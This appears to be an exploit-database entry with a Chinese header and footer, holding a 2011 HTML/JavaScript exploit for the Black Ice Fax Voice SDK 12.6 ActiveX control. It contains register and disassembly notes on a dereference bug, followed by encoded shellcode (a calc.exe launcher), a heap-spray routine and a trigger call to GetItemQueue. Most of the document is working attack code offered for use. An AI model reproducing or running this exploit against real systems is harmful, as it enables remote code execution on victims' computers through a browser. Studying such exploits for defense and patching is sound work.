发布 2011-06-20 漏洞条目

Black Ice Fax Voice SDK 12.6 – Remote Code Execution

Exploit Source

<html>

<!--

Black Ice Fax Voice SDK v12.6 - integer dereference code execution exploit

Date: Jun 20, 2011

Link: http://www.blackice.com/Fax%20C++%20ActiveX.htm

Version: 12.6

Tested on: WinXP - IE 6 & 7

Class FAX

GUID: {2E980303-C865-11CF-BA24-444553540000}

Number of Interfaces: 1

Default Interface: _DFAX

RegKey Safe for Script: False

RegkeySafe for Init: False

KillBitSet: False

Meh, despite the above, i found this bug slightly amusing >:)

Theres an integer overflow in this section of fax.ocx which is how i found the dereference vulnerability.

1000CFA3 MOV ECX,[EBP+8] < --- get our variable into ECX

1000CFA6 MOV EDX,[ECX] < --- dereference

1000CFA8 MOV ECX,[EBP+8] < --- get our variable into ECX again (meh)

1000CFAB CALL [EDX+14] < --- !!!!

and...

EIP 1000CFA6 -> 51EC8B55

EAX 1000CF82 -> 51EC8B55

EBX 0013EC68 -> 01D29E90

ECX FFFFFFFF

EDX 73F360D3 -> EB0C4589

EDI 0013EB98 -> 73F4D682

ESI 00000000

EBP 0013EB94 -> 0013EC10

ESP 0013EB90 -> 0003A1A0

vulnerable methods:

GetFirstItem()

GetItemQueue()

prob more.

-->

// Calc.exe

var shellcode = unescape(

'%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+

'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+

'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+

'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+

'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+

'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+

'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+

'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e'

);

var nops = unescape('%u0a0a%u0a0a');

var headersize = 20;

var slackspace = headersize + shellcode.length;

while(nops.length < slackspace) {

nops += nops;

}

var fillblock = nops.substring(0, slackspace);

var block = nops.substring(0, nops.length - slackspace);

while((block.length + slackspace) < 0x50000) {

block = block + block + fillblock;

}

memory=new Array();

for(counter=0; counter<200; counter++){

memory[counter] = block + shellcode;

}

var boom = 168430090; // 0x0a0a0a0a

target.GetItemQueue(boom);

</script>

</html>

作者: mr_me
日期: 2011-06-20
类别: remote
平台: windows

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